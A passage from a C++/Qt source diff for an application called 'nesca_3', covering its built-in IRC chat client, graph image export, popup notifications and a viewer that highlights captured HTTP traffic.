strf.toLocal8Bit().data()); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + sendS(lSock, "PING 0", 6, 0); + + QString rData; + QString rData2; + + if(utfIRCFlag) + { + QString str = codec->toUnicode(msgP.toUtf8()); + rData2 = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; + ui->ircText->append(rData2); + rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + str; + globalIRCText += rData + "\n"; + } + else + { + rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; + ui->ircText->append(rData); + globalIRCText += rData + "\n"; + }; + } + else if(ui->shoutBox->text().contains("/nick ")) + { + int lBoundary = ui->shoutBox->text().indexOf(" "); + + QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); + int rBoundary = nickPG.indexOf(" "); + QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); + + strcpy(temp, "NICK "); + strcat(temp, nickP.toLocal8Bit().data()); + strcat(temp, "\n"); + ui->ircNickBox->setText(nickP); + UserNickInit(lSock); + } + else + { + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); + } + else strf = ui->shoutBox->text(); + if(IRCLogToggled) + { + strcpy(temp, "PRIVMSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strcat(temp, strf.toLocal8Bit().data()); + strcat(temp, "\n"); + appendDefaultIRCTextOut("[" + ui->ircNickBox->text() + "]: " + strf); + } + else + { + if(strf.contains("join ")) + { + appendDefaultIRCRawTextOut("[JOIN command is not accepted]"); + ui->shoutBox->clear(); + return; + } + else + { + strcpy(temp, strf.toLocal8Bit().data()); + strcat(temp, "\n"); + }; + }; + + sendS(lSock, temp, strlen(temp), 0); + }; + + ui->shoutBox->clear(); + }; +}; +void nesca_3::slotChangeCPModeToUTF() +{ + utfIRCFlag = true; + ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); + + QByteArray wtfR = codec->fromUnicode(globalIRCRaw.replace("\n", "
")); + QByteArray wtfT = codec->fromUnicode(globalIRCText.replace("\n", "
")); + ui->ircText->setHtml( QString(wtfT) ); + ui->ircRaw->setHtml( QString(wtfR) ); + ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); + ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); +}; +void nesca_3::slotChangeCPModeTo1251() +{ + utfIRCFlag = false; + ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); + + ui->ircText->setHtml(globalIRCText.replace("\n", "
")); + ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "
")); + ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); + ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); +}; + +void nesca_3::onLinkClicked(QUrl link) +{ + QString lnk = link.toString(); + + if(lnk.contains("nesca:") == 1 && privateMsgFlag == false) + { + ui->shoutBox->setText(ui->shoutBox->text() + lnk.mid(6) + ", "); + ui->shoutBox->setFocus(); + } + else if(lnk.contains("nesca:") == 1 && privateMsgFlag) + { + ui->shoutBox->setText("/w " + lnk.mid(6) + " "); + ui->shoutBox->setFocus(); + } + else + { + QDesktopServices::openUrl(link); + }; +}; +void nesca_3::SetActivityValue(QString val) +{ + ui->labelActivity_Value->setText(val); +}; +void nesca_3::slotRestartIRC() +{ + ircPTh->terminate(); + globalPinger = 0; + shutdown(lSock, 2); + closesocket(lSock); + ircTh->terminate(); + ircTh->start(); +}; +void nesca_3::slotClearLogs() +{ + ui->dataText->clear(); + ui->BAText->clear(); +}; +void nesca_3::slotIRCGetTopic(QString str) +{ + ui->topicLine->setText(str); + QString rData; + rData = "Topic: \"" + str + "\""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; + +//unsigned char jpgHeader[623] = { +// 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, +// 0x00, 0x60, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, +// 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x05, 0x03, 0x03, 0x03, 0x03, 0x03, 0x06, 0x04, +// 0x04, 0x03, 0x05, 0x07, 0x06, 0x07, 0x07, 0x07, 0x06, 0x07, 0x07, 0x08, 0x09, 0x0B, 0x09, 0x08, +// 0x08, 0x0A, 0x08, 0x07, 0x07, 0x0A, 0x0D, 0x0A, 0x0A, 0x0B, 0x0C, 0x0C, 0x0C, 0x0C, 0x07, 0x09, +// 0x0E, 0x0F, 0x0D, 0x0C, 0x0E, 0x0B, 0x0C, 0x0C, 0x0C, 0xFF, 0xDB, 0x00, 0x43, 0x01, 0x02, 0x02, +// 0x02, 0x03, 0x03, 0x03, 0x06, 0x03, 0x03, 0x06, 0x0C, 0x08, 0x07, 0x08, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0xFF, 0xC0, +// 0x00, 0x11, 0x08, 0x00, 0x64, 0x00, 0x80, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, +// 0x01, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, +// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, +// 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x10, 0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, +// 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D, 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, +// 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08, 0x23, +// 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16, 0x17, +// 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, +// 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, +// 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, +// 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, +// 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, +// 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, +// 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF1, +// 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xC4, 0x00, 0x1F, 0x01, 0x00, 0x03, +// 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, +// 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x11, 0x00, +// 0x02, 0x01, 0x02, 0x04, 0x04, 0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, +// 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, +// 0x22, 0x32, 0x81, 0x08, 0x14, 0x42, 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23, 0x33, 0x52, 0xF0, 0x15, +// 0x62, 0x72, 0xD1, 0x0A, 0x16, 0x24, 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18, 0x19, 0x1A, 0x26, 0x27, +// 0x28, 0x29, 0x2A, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, +// 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, +// 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, +// 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, +// 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, +// 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE2, +// 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, +// 0xFA, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00 +//}; +// +int c = 1; + +void nesca_3::slotSaveImage(QAction *qwe) +{ + QObject *smB = this->sender(); + int ci = ui->tabMainWidget->currentIndex(); + QDate QD = QDate::currentDate(); + QTime QT = QTime::currentTime(); + + if(smB == menuPS) + { + if(ME2ScanFlag || VoiceScanFlag) + { + QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; + int ax = 27; + int ay = 2; + int w = ui->graphicLog->width() + 30; + int h = ui->graphicLog->height() + 30; + int hOffset = 20; + int spX = -10; + int spY = 108; + int wsp = 40; + int hsp = 70; + if(VoiceScanFlag) + { + hOffset = -60; + spX = 8; + spY = -1; + wsp = 0; + hsp = -3; + }; + QImage image(ui->graphicTextPlacer->width() + 5, ui->graphicTextPlacer->height() + hOffset, QImage::Format_RGB32); + QPainter painter(&image); + image.fill(NULL); + image.fill(QColor(0,0,0)); + sceneTextPlacer->render(&painter, QRect(spX, spY, w + wsp, h + hsp)); + sceneUpper->render(&painter, QRect(ax, ay, w, h)); + sceneVoice->render(&painter, QRect(ax, ay, w, h)); + sceneGraph->render(&painter, QRect(ax, ay + 8, w - 2, h)); + sceneGrid->render(&painter, QRect(ax, ay, w, h)); + sceneGrid2->render(&painter, QRect(ax, ay, w, h)); + + QString filename = QFileDialog::getSaveFileName( + this, + tr("Save image"), + QDir::currentPath() + "/" + fn, + ".png", + &tr("*.png") + ); + if(filename != "") image.save(filename + ".png"); + } + else + { + QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (PieStatFlag ? "PieStat" : "QOS") + "_"+ (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; + QImage image(ui->graphicLog->width(), ui->graphicLog->height(), QImage::Format_ARGB32_Premultiplied); + QPainter painter(&image); + image.fill(NULL); + image.fill(QColor(0,0,0)); + sceneUpper->render(&painter); + sceneVoice->render(&painter); + sceneGraph->render(&painter); + sceneGrid->render(&painter); + sceneGrid2->render(&painter); + + + QString filename = QFileDialog::getSaveFileName( + this, + tr("Save image"), + QDir::currentPath() + "/" + fn, + ".png", + &tr("*.png") + ); + if(filename != "") image.save(filename + ".png"); + }; + }; +}; +void PieStatView::contextMenuEvent(QContextMenuEvent *event) +{ + menuPS = new QMenu; + menuPS->addAction("Save image."); + menuPS->popup(event->globalPos()); + + connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); +}; +QLabel *msgLbl; +QLabel *msgDLbl; +QLabel *msgTLbl; +QLabel *msgNLbl; +void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") +{ + msgWdgt->show(); + QString str; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(strD); + str = QString(wtf); + } + else str = strD; + if(msgLbl != NULL) msgLbl->setText(str); + if(msgNLbl != NULL) msgNLbl->setText(senderNick); + if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); +}; +void CreateMsgPopupWidget(QString str = "", QString senderNick = "") +{ + QDesktopWidget desk; + + int px_width = desk.width(); + int px_height = desk.height(); + + msgWdgt = new PopupMsgWidget(); + msgWdgt->setWindowFlags(Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow); + msgWdgt->setStyleSheet( + "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); border: 1px solid #525252;" + ); + + msgWdgt->setGeometry(px_width - 300, px_height - 100, 300, 100); + + QLabel *msgBLbl = new QLabel(msgWdgt); + msgBLbl->setGeometry(0, 0, 300, 100); + msgBLbl->setStyleSheet( + "background-color: rgba(0, 0, 0, 0);" + ); + msgBLbl->show(); + + msgDLbl = new QLabel(msgWdgt); + msgDLbl->setGeometry(0, 0, 300, 15); + msgDLbl->setStyleSheet( + "background-color: rgba(0, 0, 0, 70);" + ); + msgDLbl->show(); + + msgTLbl = new QLabel(msgWdgt); + msgTLbl->setText("New message"); + msgTLbl->setStyleSheet( + "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" + ); + msgTLbl->show(); + + msgDLbl = new QLabel(msgWdgt); + msgDLbl->setGeometry(249, 0, 300, 15); + msgDLbl->setText(QTime::currentTime().toString()); + msgDLbl->setStyleSheet( + "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" + ); + msgDLbl->show(); + + msgLbl = new QLabel(msgWdgt); + msgLbl->setText(str); + msgLbl->setGeometry(10, 10, 290, 100); + msgLbl->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter); + msgLbl->setStyleSheet( + "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;" + ); + msgLbl->show(); + + msgNLbl = new QLabel(msgWdgt); + msgNLbl->setText(senderNick); + msgNLbl->setGeometry(35, 0, 249, 15); + msgNLbl->setAlignment(Qt::AlignHCenter); + msgNLbl->setStyleSheet( + "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" + ); + msgNLbl->show(); +}; +QTextBrowser *SendData; +QTextBrowser *RecvData; +void nesca_3::slotShowDataflow() +{ + if(MapWidgetOpened == false) + { + MapWidgetOpened = true; + qwm = new QWidget(); + qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); + qwm->setStyleSheet( + "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));" + "border: 1px solid #616161;"); + + qwm->setGeometry(QMainWindow::x() + ui->widget->width() + 5, QMainWindow::y(), 480, 800); + qwm->show(); + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + SendData = new QTextBrowser(qwm); + SendData->setGeometry(5, 5, 470, 370); + SendData->setStyleSheet("color:rgb(150, 150, 150);"); + SendData->setFont(fnt); + SendData->show(); + + RecvData = new QTextBrowser(qwm); + RecvData->setGeometry(5, 380, 470, 414); + RecvData->setStyleSheet("color:rgb(150, 150, 150);"); + RecvData->setFont(fnt); + RecvData->show(); + } + else + { + delete []SendData; + delete []RecvData; + delete []qwm; + qwm = NULL; + RecvData = NULL; + SendData = NULL; + + MapWidgetOpened = false; + }; +}; +QGraphicsPathItem *GiveMeGItem(QVector vAnomLst) +{ + QPolygonF qpf; + QPainterPath path; + for(int i = 0; i < vAnomLst.size(); ++i) + { + qpf.append(vAnomLst[i]); + }; + if(qpf.size() > 0) + { + path.moveTo(qpf[0]); + for(int i = 1; i < qpf.size(); ++i) + { + path.lineTo(qpf[i]); + }; + }; + return new QGraphicsPathItem(path); +}; +void nesca_3::slotVoiceAddLine() +{ + int as = 0; + if(VoiceScanFlag) + { + sceneVoice->clear(); + + for(int i = 1; i < vAlivLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vAlivLst[i - 1] - 1, as, 120 - vAlivLst[i] - 1, penQoS0); + }; + as = 0; + + for(int i = 1; i < vAnomLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vAnomLst[i - 1] - 1, as, 120 - vAnomLst[i] - 1, penQoS1); + }; + as = 0; + + for(int i = 1; i < vWFLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vWFLst[i - 1] - 1, as, 120 - vWFLst[i] - 1, penQoS2); + }; + as = 0; + + for(int i = 1; i < vSuspLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vSuspLst[i - 1] - 1, as, 120 - vSuspLst[i] - 1, penQoS3); + }; + as = 0; + + for(int i = 1; i < vLowlLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vLowlLst[i - 1] - 1, as, 120 - vLowlLst[i] - 1, penQoS4); + }; + as = 0; + + for(int i = 1; i < vBALst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vBALst[i - 1] - 1, as, 120 - vBALst[i] - 1, penQoS5); + }; + as = 0; + + for(int i = 1; i < vOvrlLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vOvrlLst[i - 1], as, 120 - vOvrlLst[i] - 1, penQoS6); + }; + as = 0; + + for(int i = 1; i < vSSHLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vSSHLst[i - 1], as, 120 - vSSHLst[i] - 1, penQoS7); + }; + }; +}; +void nesca_3::slotShowNicks() +{ + if(ui->nickShowBut->text() == "<") + { + ui->nickShowBut->setText(">"); + ui->nickList->raise(); + GetNicks(); + } + else + { + ui->nickShowBut->setText("<"); + ui->nickList->lower(); + }; +}; + +QRegExp _rOutProt(" HTTP/1.\\d+"); +QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); +QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); +void nesca_3::slotOutData(QString ip, QString str) +{ + if(SendData != NULL) + { + _rOutPath.indexIn(str); + QString prot = _rOutPath.cap(0); + if(prot.size() > 0) str.replace(prot, " " + prot + " "); + _rOutHost.indexIn(str); + prot = _rOutHost.cap(1); + if(prot.size() > 0) str.replace(prot, " " + prot + " "); + str.replace("GET ", "GET "); + str.replace("POST ", "POST "); + str.replace("Host: ", "Host: "); + str.replace("Cookie: ", "Cookie: "); + str.replace("Accept:", "Accept:"); + str.replace("Accept-Language:", "Accept-Language:"); + str.replace("Accept-Charset:", "Accept-Charset:"); + str.replace("Accept-Encoding:", "Accept-Encoding:"); + str.replace("User-Agent:", "User-Agent:"); + str.replace("Connection:", "Connection:"); + str.replace("Content-length:", "Content-length:"); + str.replace("Authorization:", "Authorization:"); + _rOutProt.indexIn(str); + prot = _rOutProt.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("\r\n", "
"); + + SendData->append("[" + ip + "]
" + str + "

"); + }; +}; +QRegExp _rIncProt("HTTP/1.\\d+ "); +QRegExp _rIncHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); +QRegExp _rIncTags1("<.{1,8}>"); +QRegExp _rIncTagsClose("</.{1,8}>"); +QRegExp _rIncTags2("<.{1,8} "); +QRegExp _rIncTags3("/>"); +QRegExp _rIncInnerTags("="((\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\s| )*)""); +QRegExp _rIncScriptTag1("<script>.*</script>"); +QRegExp _rIncScriptTag2("<script .*</script>"); +QRegExp _rIncStyleTag("<style>.*</style>"); + +QRegExp _rIncRN("\r\n(_|-|=|.*)*:"); +void nesca_3::slotIncData(QString ip, QString str) +{ + if(RecvData != NULL) + { + QStringList headNbody = str.split("\r\n\r\n"); + QString tStr; + QString tagRes; + QString prot; + int posTag = 0; + for(int i = 0; i < headNbody.size(); ++i) + { + if(headNbody[i].size() == 0) headNbody.erase(headNbody.begin() + i); + }; + if(headNbody.size() == 0) return; + if(headNbody.size() > 1) + { + str = headNbody[0]; + tStr = str; + + _rIncRN.setMinimal(true); + while ((posTag = _rIncRN.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncRN.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + str.replace("HTTP/1.1", "HTTP/1.1"); + str.replace("\r\n", "
"); + RecvData->append("[" + ip + "]
[HEAD]
" + str + "

"); + + + + + _rIncTags1.setMinimal(true); + _rIncInnerTags.setMinimal(true); + + RecvData->append("[" + ip + "]
[BODY]
"); + for(int i = 1; i < headNbody.size(); ++i) + { + str = headNbody[i].toHtmlEscaped(); + tStr = str; + + posTag = 0; + while ((posTag = _rIncTags1.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTags1.cap(0); + if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncTagsClose.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTagsClose.cap(0); + if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncTags2.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTags2.cap(0); + if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncInnerTags.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncInnerTags.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + tStr.replace(tagRes, ""); + }; + }; + + _rIncTags3.indexIn(str); + prot = _rIncTags3.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + + _rIncScriptTag1.indexIn(str); + prot = _rIncScriptTag1.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + _rIncScriptTag2.indexIn(str); + prot = _rIncScriptTag2.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("</script>", "</script>"); + + _rIncStyleTag.indexIn(str); + prot = _rIncStyleTag.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("<style>", "<style>"); + + str.replace("\n", "
"); + RecvData->append(str); + }; + RecvData->append("

"); + } + else + { + str = headNbody[0]; + tStr = str; + + _rIncRN.setMinimal(true); + while ((posTag = _rIncRN.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncRN.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + str.replace("HTTP/1.1", "HTTP/1.1"); + str.replace("\r\n", "
"); + RecvData->append("[" + ip + "]
" + str + "

"); + }; + }; +}; +#pragma region SM_Buts +void nesca_3::smReaction() +{ + QObject *smB = this->sender(); + + if(smB == ui->secretMessageBut_1) + { + if(smBit_1 == false) + { + smBit_1 = true; + ui->secretMessageBut_1->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_1 = false; + ui->secretMessageBut_1->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_2) + { + if(smBit_2 == false) + { + smBit_2 = true; + ui->secretMessageBut_2->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_2 = false; + ui->secretMessageBut_2->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_3) + { + if(smBit_3 == false) + { + smBit_3 = true; + ui->secretMessageBut_3->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_3 = false; + ui->secretMessageBut_3->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_4) + { + if(smBit_4 == false) + { + smBit_4 = true; + ui->secretMessageBut_4->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_4 = false; + ui->secretMessageBut_4->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_5) + { + if(smBit_5 == false) + { + smBit_5 = true; + ui->secretMessageBut_5->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 